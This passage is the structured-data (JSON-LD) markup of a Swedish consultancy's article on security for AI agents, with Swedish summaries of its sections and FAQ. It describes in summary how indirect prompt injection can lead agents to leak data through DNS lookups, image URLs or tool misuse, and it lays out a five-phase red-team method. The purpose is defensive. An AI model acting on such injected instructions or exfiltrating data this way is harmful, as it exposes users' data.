"https://digital-strategy.ec.europa.eu/en/policies/regulatory-framework-ai" }, { "@type": "Thing", "name": "GDPR", "url": "https://gdpr.eu/" }, { "@type": "Thing", "name": "NIS2", "url": "https://eur-lex.europa.eu/eli/dir/2022/2555/oj" }, { "@type": "Place", "name": "Stockholm", "url": "https://www.wikidata.org/wiki/Q1754" }, { "@type": "Person", "name": "Linus Ingemarsson", "url": "https://www.linkedin.com/in/linus-ingemarsson/" }, { "@type": "Person", "name": "Eric Lundberg", "url": "https://www.linkedin.com/in/eric-lundberg-3530451bb/" } ], "hasPart": [ { "@type": "WebPageElement", "isAccessibleForFree": true, "name": "TL;DR: Alice Labs 40-punkts-checklista i 60 sekunder", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#tldr", "description": "Produktions-AI-agenter kräver försvar på åtta attack-ytor: prompt, tool, data, model, identity, supply-chain, runtime, human. Alice Labs 40-punkts-checklista mappar mot OWASP LLM Top-10, EU AI Act Artikel 15, ISO/IEC 42001 och GDPR Artikel 32. Kärnkontrollerna är input-filter, tool-allow-list, egress-filter, sandbox, immutable audit logs, automatiserad red-team, kill switch och deployer-dokumentation. Denna checklista har validerats över 100+ produktionsimplementationer sedan 2023." }, { "@type": "WebPageElement", "isAccessibleForFree": true, "name": "Vad är AI-agent-säkerhet? Definition och scope", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#vad-ar-ai-agent-sakerhet", "description": "AI-agent-säkerhet är säkerhetsdisciplinen kring autonoma LLM-baserade system som resonerar, planerar och anropar verktyg. Den skiljer sig från traditionell AppSec (deterministisk kod) och klassisk LLM safety (modell-output) genom att täcka hela ORCE-loopen och åtta attack-ytor. På svenska används termerna AI-agent-säkerhet, LLM-agent-säkerhet och agentisk AI-säkerhet omväxlande, med OWASP LLM Top-10 som den etablerade taxonomin." }, { "@type": "WebPageElement", "isAccessibleForFree": true, "name": "Hotmodell för AI-agenter 2026: 8 attack-ytor", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#hotmodell-2026", "description": "AI-agenter i produktion 2026 måste försvaras mot 8 attack-ytor. Prompt-plane (systempromptar och indirect injection), tool-plane (function calling och excessive agency), data-plane (RAG och minne), model-plane (adversarial och model theft), identity-plane (per-user tokens), supply-chain (tredjepartsmodeller och MCP), runtime (sandbox och egress) och human (oversight och overreliance). Fältdata från 100+ implementationer visar att tool-plane och runtime är mest underskattade." }, { "@type": "WebPageElement", "isAccessibleForFree": true, "name": "OWASP Top 10 for LLM Applications mappat mot agent-kontext", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#owasp-llm-top-10", "description": "OWASP Top 10 for LLM Applications v1.1 är den mest etablerade LLM-säkerhetstaxonomin. Samtliga 10 risker mappar direkt mot AI-agent-kontext, men konsekvenserna skiljer sig dramatiskt eftersom agenter kan agera på output. LLM01 Prompt Injection och LLM08 Excessive Agency är de två med störst blast radius i agent-scenarier." }, { "@type": "WebPageElement", "isAccessibleForFree": true, "name": "Prompt injection: layered defense i 4 lager", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#prompt-injection-defenses", "description": "Prompt injection kan inte lösas med en enskild filter. Alice Labs kräver fyra lager i produktion: (1) input-filter mot uppenbara jailbreak-mönster, (2) tool-scoping så att agenten inte ens har verktygen som behövs för att göra skada, (3) dual-LLM-mönster där en separat modell validerar planerade actions, och (4) output-validering före exekvering. Spotlighting (encoding av opålitlig input) är ett femte lager när external content läses." }, { "@type": "WebPageElement", "isAccessibleForFree": true, "name": "Tool-abuse-prevention: least-privilege function calling", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#tool-abuse-prevention", "description": "Tool-abuse är den mest underskattade agent-risken. Att ge en agent ett brett verktyg (exekvera SQL, kör shell, publicera artikel, refund kundorder) räcker för att en enda lyckad prompt injection ska bli katastrofal. Motåtgärderna: least-privilege per verktyg, tool allow-listing per roll, rate limits, blast-radius-bounds, dry-run-läge och obligatoriska godkännanden på destructive actions." }, { "@type": "WebPageElement", "isAccessibleForFree": true, "name": "Data exfiltration: vektorer och egress-kontroll", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#data-exfiltration", "description": "Data-exfiltration från en agent sker sällan genom modellens output direkt. Vanligare vektorer: indirect prompt injection som instruerar agenten att göra DNS-lookup med extraherad data, image URLs som läcker information via query string, bild-steganografi och tool-abuse där en legitim funktion missbrukas för exfil. Motåtgärd: egress-filter på nätverkslagret, per-domän allow-list för external tools, och PII-scanner på all output." }, { "@type": "WebPageElement", "isAccessibleForFree": true, "name": "Secret-handling och sandbox-design", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#secret-handling-sandbox", "description": "Secrets ska aldrig ligga i prompt eller systemprompt. Alice Labs standard: per-user token-exchange med kortlivade credentials, HashiCorp Vault eller molnleverantörens Key Vault för lagring, och PII-detektering på all input och output. Sandbox-design: containerization med per-invocation-isolering, gVisor eller Firecracker för hard isolation, network policies default-deny och filesystem readonly som default." }, { "@type": "WebPageElement", "isAccessibleForFree": true, "name": "Red-team-metod: 5 faser med PyRIT, Garak och promptfoo", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#red-team-metod", "description": "Alice Labs red-team-metod i 5 faser: (1) recon (kartlägg agent-yta, verktyg, systempromptar), (2) prompt-inject (direct + indirect + jailbreak), (3) tool-abuse (försök använda verktyg utanför scope), (4) exfil (försök läcka data via DNS, image URL, tool-abuse), (5) escalate (försök få bredare privilegier eller kombinera vektorer). Verktyg: PyRIT (Microsoft), Garak (Leon Derczynski), promptfoo för automatiserade suits i CI, manuellt red-team kvartalsvis." }, { "@type": "WebPageElement", "isAccessibleForFree": true, "name": "Incident response för AI-agent-fel: kill switch, quarantine, IMY-anmälan", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#incident-response", "description": "Incident response för AI-agenter kräver samma disciplin som klassisk IR plus tre nya kontroller: kill switch (stänger agenten globalt inom 60 sekunder), quarantine (isolerar drabbade sessions och verktygsanrop för forensics) och IMY-anmälan inom 72 timmar om GDPR-personuppgifter läckt. Forensics bygger på immutable audit logs från EU AI Act Artikel 12. Post-mortem ska mappas mot root cause per attack-yta." }, { "@type": "WebPageElement", "isAccessibleForFree": true, "name": "Compliance-mapping: EU AI Act, ISO/IEC 42001, NIS2, GDPR", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#compliance-mapping", "description": "AI-agent-säkerhet mappar direkt mot fyra regelverk i Sverige och EU 2026: EU AI Act Artikel 15 (cybersäkerhet, fullt tillämplig 2 augusti 2026), ISO/IEC 42001:2023 (AI management system, den första internationella standarden), NIS2 för kritisk infrastruktur och GDPR Artikel 32 för säkerhet av personuppgifter. IMY är svensk tillsyn för AI Act och GDPR." }, { "@type": "WebPageElement", "isAccessibleForFree": true, "name": "Alice Labs 40-punkts-checklista och kod-exempel för säkerhetslager", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#alice-labs-review-metod", "description": "Alice Labs 40-punkts-checklista grupperar kontrollerna i 8 kategorier med 5 items var: (A) Prompt & Input, (B) Tool & function calling, (C) Data & PII, (D) Identity & auth, (E) Sandbox & runtime, (F) Logging & audit, (G) Testing & red-team, (H) Governance & response. Varje punkt är ett release-gate. Denna checklista är validerad över 100+ produktionsimplementationer sedan 2023 i Norden." } ], "speakable": { "@type": "SpeakableSpecification", "cssSelector": [ "[data-speakable='true']", "[data-snippet='true']", "[data-section-answer='true']", ".quick-answer", "h1" ] } }, { "@type": "BreadcrumbList", "@id": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#breadcrumb", "itemListElement": [ { "@type": "ListItem", "position": 1, "name": "Hem", "item": "https://alicelabs.ai/sv" }, { "@type": "ListItem", "position": 2, "name": "Insights", "item": "https://alicelabs.ai/sv/insights" }, { "@type": "ListItem", "position": 3, "name": "ai-agents", "item": "https://alicelabs.ai/sv/insights/ai-agents" }, { "@type": "ListItem", "position": 4, "name": "AI-agent säkerhetschecklista för svenska team 2026", "item": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist" } ] }, { "@type": "Person", "@id": "https://alicelabs.ai/#eric", "name": "Eric Lundberg", "jobTitle": "Co-Founder", "worksFor": { "@id": "https://alicelabs.ai/#organization" }, "knowsAbout": [ { "@type": "DefinedTerm", "name": "AI automation", "url": "https://www.wikidata.org/wiki/Q1322483" }, { "@type": "DefinedTerm", "name": "Workflow automation", "url": "https://www.wikidata.org/wiki/Q120427660" }, { "@type": "DefinedTerm", "name": "Retrieval-Augmented Generation", "url": "https://www.wikidata.org/wiki/Q117761563" }, { "@type": "DefinedTerm", "name": "Enterprise AI implementation" } ], "sameAs": [ "https://www.linkedin.com/in/eric-lundberg-3530451bb/", "https://www.wikidata.org/wiki/Q140369978" ] }, { "@type": "Person", "@id": "https://alicelabs.ai/#linus", "name": "Linus Ingemarsson", "jobTitle": "CEO & Co-Founder", "worksFor": { "@id": "https://alicelabs.ai/#organization" }, "knowsAbout": [ { "@type": "DefinedTerm", "name": "AI agent orchestration", "url": "https://www.wikidata.org/wiki/Q98678395" }, { "@type": "DefinedTerm", "name": "AI strategy" }, { "@type": "DefinedTerm", "name": "AI search optimization (LLMO)" }, { "@type": "DefinedTerm", "name": "Enterprise AI strategy" }, { "@type": "DefinedTerm", "name": "AI consulting leadership" } ], "sameAs": [ "https://www.linkedin.com/in/linus-ingemarsson/", "https://www.wikidata.org/wiki/Q140369914" ] }, { "@type": "FAQPage", "mainEntity": [ { "@type": "Question", "name": "Vad är den vanligaste säkerhetsrisken för AI-agenter 2026?", "acceptedAnswer": { "@type": "Answer", "text": "Prompt injection kvarstår som #1 på OWASP LLM Top-10 v1.1 (2025). Direct injection via user-input är enklast att detektera, men indirect injection via retrieval-källor (e-post, dokument, webbsidor, filnamn) är den vektor som förbi 90 procent av naiva filter. Alice Labs kräver fyra försvarslager i produktion: input-filter, tool-scoping, dual-LLM-mönster och output-validering, plus spotlighting när external content läses." } }, { "@type": "Question", "name": "Hur skiljer sig AI-agent-säkerhet från traditionell LLM safety?", "acceptedAnswer": { "@type": "Answer", "text": "LLM safety fokuserar på modellens output: toxicity, bias, hallucination, refusal-bypass. AI-agent-säkerhet täcker hela ORCE-loopen (observe, reason, act, evaluate) och åtta attack-ytor inklusive tool-plane och runtime-plane. Konsekvenserna skiljer sig dramatiskt: en LLM som säger fel sak är obehagligt, en agent som gör fel sak triggar en verklig transaktion." } }, { "@type": "Question", "name": "Vad kräver EU AI Act Artikel 15 av vår AI-agent från 2 augusti 2026?", "acceptedAnswer": { "@type": "Answer", "text": "Artikel 15 kräver att högrisksystem (enligt Annex III) är designade och utvecklade så att de uppnår lämplig nivå av noggrannhet, robusthet och cybersäkerhet, samt är resilienta mot försök att ändra deras output eller prestanda genom att utnyttja sårbarheter. Konkret: dokumenterad hotmodell, red-team-testresultat, robusthet mot adversarial input, skydd mot obehörig åtkomst och kontinuerlig monitoring. IMY är svensk tillsyn." } }, { "@type": "Question", "name": "Vilka verktyg använder Alice Labs för att red-teama produktionsagenter?", "acceptedAnswer": { "@type": "Answer", "text": "Alice Labs standardstack: PyRIT (Microsoft) för automatiserade prompt-injection-varianter, Garak (Leon Derczynski) för broad-spectrum vulnerability scanning, promptfoo för regression-suits i CI. Manuell red-team-övning kvartalsvis av externt team eller dedikerad intern grupp. Minst 200 test-cases per agent, varav 50 red-team-cases, är ett hårt release-krav." } }, { "@type": "Question", "name": "Hur skyddar vi oss mot indirect prompt injection?", "acceptedAnswer": { "@type": "Answer", "text": "Fyra kontroller i kombination: (1) spotlighting av external content med tydlig separator och encoding, (2) tool-scoping så att agenten inte har verktygen som behövs för att göra skada, (3) dual-LLM-validering av alla planned write-actions, och (4) egress-filter så att data inte kan läcka ut via DNS eller image URLs. Ingen enskild kontroll räcker." } }, { "@type": "Question", "name": "Vad är excessive agency och varför är det så farligt?", "acceptedAnswer": { "@type": "Answer", "text": "Excessive agency (OWASP LLM08) är när en agent har verktyg som är bredare än use-caset kräver. Klassiskt anti-mönster: generiskt execute_sql med read-write på hela databasen istället för get_customer_orders(customer_id). En enda lyckad prompt injection räcker för katastrofal skada. Motåtgärd: least-privilege per verktyg, tool allow-list per roll och obligatoriska human approvals på destructive actions." } }, { "@type": "Question", "name": "När ska vi anmäla en agent-incident till IMY?", "acceptedAnswer": { "@type": "Answer", "text": "Om AI-agent-incidenten involverar personuppgifter måste anmälan till IMY göras inom 72 timmar från upptäckt enligt GDPR Artikel 33. Berörda registrerade ska informeras enligt Artikel 34 om incidenten sannolikt medför hög risk för deras rättigheter. Ha template och kontaktvägar förberedda innan agenten går i produktion. Alice Labs standard-runbook innehåller färdig IMY-anmälningsmall." } }, { "@type": "Question", "name": "Behöver vi ISO/IEC 42001-certifiering för att köra AI-agenter i Sverige?", "acceptedAnswer": { "@type": "Answer", "text": "Nej, ISO/IEC 42001:2023 är inte obligatoriskt 2026. Men det är kraftigt rekommenderat för enterprise som säljer AI-agenter till reglerade sektorer (bank, försäkring, sjukvård, offentlig sektor). Standarden är den första internationella för AI management systems och mappar väl mot EU AI Act Artikel 9 (riskhantering). Alice Labs bygger 40-punkts-checklistan så att en agent klarar både ISO 42001-audit och EU AI Act-tillsyn med samma kontroller." } }, { "@type": "Question", "name": "Kan vi köra AI-agenter helt on-premise för högriskscope?", "acceptedAnswer": { "@type": "Answer", "text": "Ja. För EU AI Act-högrisksystem eller GDPR-känsliga use-cases (bank-KYC, försäkringsskador, sjukvård, offentlig sektor) driftsätter Alice Labs ofta agenter helt on-premise eller i EU-datacenter med Llama, Mistral eller Anthropic via EU-region. Sandbox med gVisor eller Firecracker, per-invocation-isolering och immutable audit logs uppfyller Artikel 12, 14 och 15. Kompromiss: högre drift-kostnad och något lägre modell-kvalitet än frontier-modeller." } }, { "@type": "Question", "name": "Hur mäter vi att våra säkerhetskontroller faktiskt fungerar?", "acceptedAnswer": { "@type": "Answer", "text": "Fyra mätdimensioner: (1) red-team-suit pass-rate mot 200+ test-cases i CI vid varje deploy, (2) production-metrics på anomali-larm, tool-abuse-detektering och egress-filter-hits, (3) audit-log-completeness för EU AI Act Artikel 12, (4) time-to-detect och time-to-kill för simulerade incidenter i kvartalsvisa övningar. Verktyg: PyRIT, Garak, promptfoo för red-team; Langfuse eller Braintrust för production tracing." } }, { "@type": "Question", "name": "Vad kostar en Alice Labs säkerhetsgenomgång av vår existerande AI-agent?", "acceptedAnswer": { "@type": "Answer", "text": "Alice Labs security review av en existerande AI-agent kostar typiskt 80 000 till 250 000 SEK beroende på scope, antal verktyg och kompliance-krav. Leverans inom 2-4 veckor med skriven rapport mot 40-punkts-checklistan, red-team-suit i CI och åtgärdsplan mappad mot OWASP LLM Top-10, EU AI Act Artikel 15 och ISO/IEC 42001. Boka via kontaktformuläret på alicelabs.ai eller direkt via /sv/ai-agenter." } }, { "@type": "Question", "name": "Vem är Alice Labs och varför denna checklista?", "acceptedAnswer": { "@type": "Answer", "text": "Alice Labs är en Stockholm-headquartered enterprise AI consultancy grundad 2023 av Linus Ingemarsson (VD & medgrundare) och Eric Lundberg (medgrundare). Vi har levererat 100+ produktionsimplementationer sedan 2023 av AI-agenter i Norden inom bank, försäkring, life sciences, offentlig sektor, retail och industri. 40-punkts-checklistan är destillerad från incidents, near-misses och lärdomar över de uppdragen, mappad mot OWASP, EU AI Act och ISO/IEC 42001." } } ] }, { "@context": "https://schema.org", "@type": "Dataset", "name": "AI-agent säkerhetschecklista för svenska team 2026", "description": "40-punkts checklista för AI-agenter: prompt injection, tool-abuse, exfiltration, sandbox, red-team. OWASP LLM Top-10, EU AI Act. 100+ implementationer.", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist", "datePublished": "2026-09-19", "dateModified": "2026-09-17", "creator": { "@type": "Organization", "name": "Alice Labs", "url": "https://alicelabs.ai" }, "license": "https://creativecommons.org/licenses/by/4.0/", "isAccessibleForFree": true, "keywords": [ "ai agent security", "llm agent säkerhet", "prompt injection agent", "ai säkerhet checklista", "owasp llm top 10", "ai red team", "sandbox agent", "iso 42001", "eu ai act artikel 15" ] }, { "@context": "https://schema.org", "@type": "ItemList", "name": "Related articles", "itemListElement": [ { "@type": "ListItem", "position": 1, "url": "https://alicelabs.ai/sv/insights/ai-agent-guide", "name": "AI-agenter: Komplett guide för svenska företag 2026" }, { "@type": "ListItem", "position": 2, "url": "https://alicelabs.ai/sv/insights/ai-agent-implementation-strategi", "name": "AI-agent-implementationsstrategi för svenska team" }, { "@type": "ListItem", "position": 3, "url": "https://alicelabs.ai/sv/insights/eu-ai-act-2026-checklista", "name": "EU AI Act 2026: checklista för svenska företag" }, { "@type": "ListItem", "position": 4, "url": "https://alicelabs.ai/sv/insights/ai-agent-observability-svenska", "name": "AI-agent-observability och evals (svenska)" }, { "@type": "ListItem", "position": 5, "url": "https://alicelabs.ai/en/insights/ai-agent-security-risks", "name": "AI Agent Security Risks (engelska)" } ] }, { "@context": "https://schema.org", "@type": "ItemList", "name": "Table of Contents", "numberOfItems": 12, "itemListOrder": "https://schema.org/ItemListOrderAscending", "itemListElement": [ { "@type": "ListItem", "position": 1, "name": "TL;DR: Alice Labs 40-punkts-checklista i 60 sekunder", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#tldr" }, { "@type": "ListItem", "position": 2, "name": "Vad är AI-agent-säkerhet? Definition och scope", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#vad-ar-ai-agent-sakerhet" }, { "@type": "ListItem", "position": 3, "name": "Hotmodell för AI-agenter 2026: 8 attack-ytor", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#hotmodell-2026" }, { "@type": "ListItem", "position": 4, "name": "OWASP Top 10 for LLM Applications mappat mot agent-kontext", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#owasp-llm-top-10" }, { "@type": "ListItem", "position": 5, "name": "Prompt injection: layered defense i 4 lager", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#prompt-injection-defenses" }, { "@type": "ListItem", "position": 6, "name": "Tool-abuse-prevention: least-privilege function calling", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#tool-abuse-prevention" }, { "@type": "ListItem", "position": 7, "name": "Data exfiltration: vektorer och egress-kontroll", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#data-exfiltration" }, { "@type": "ListItem", "position": 8, "name": "Secret-handling och sandbox-design", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#secret-handling-sandbox" }, { "@type": "ListItem", "position": 9, "name": "Red-team-metod: 5 faser med PyRIT, Garak och promptfoo", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#red-team-metod" }, { "@type": "ListItem", "position": 10, "name": "Incident response för AI-agent-fel: kill switch, quarantine, IMY-anmälan", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#incident-response" }, { "@type": "ListItem", "position": 11, "name": "Compliance-mapping: EU AI Act, ISO/IEC 42001, NIS2, GDPR", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#compliance-mapping" }, { "@type": "ListItem", "position": 12, "name": "Alice Labs 40-punkts-checklista och kod-exempel för säkerhetslager", "url": "https://alicelabs.ai/sv/insights/ai-agent-security-checklist#alice-labs-review-metod" } ] } ] }, { "@context": "https://schema.org", "@type": "BreadcrumbList", "itemListElement": [ { "@type": "ListItem", "position": 1, "name": "Hem", "item": "https://alicelabs.ai/" }, { "@type": "ListItem", "position": 2, "name": "Insikter", "item": "https://alicelabs.ai/sv/insights" }, { "@type": "ListItem", "position": 3, "name": "AI Agents", "item": "https://alicelabs.ai/sv/insights/ai-agents" }, { "@type": "ListItem", "position": 4, "name": "AI-agent säkerhetschecklista för svenska team 2026" } ] } ] ```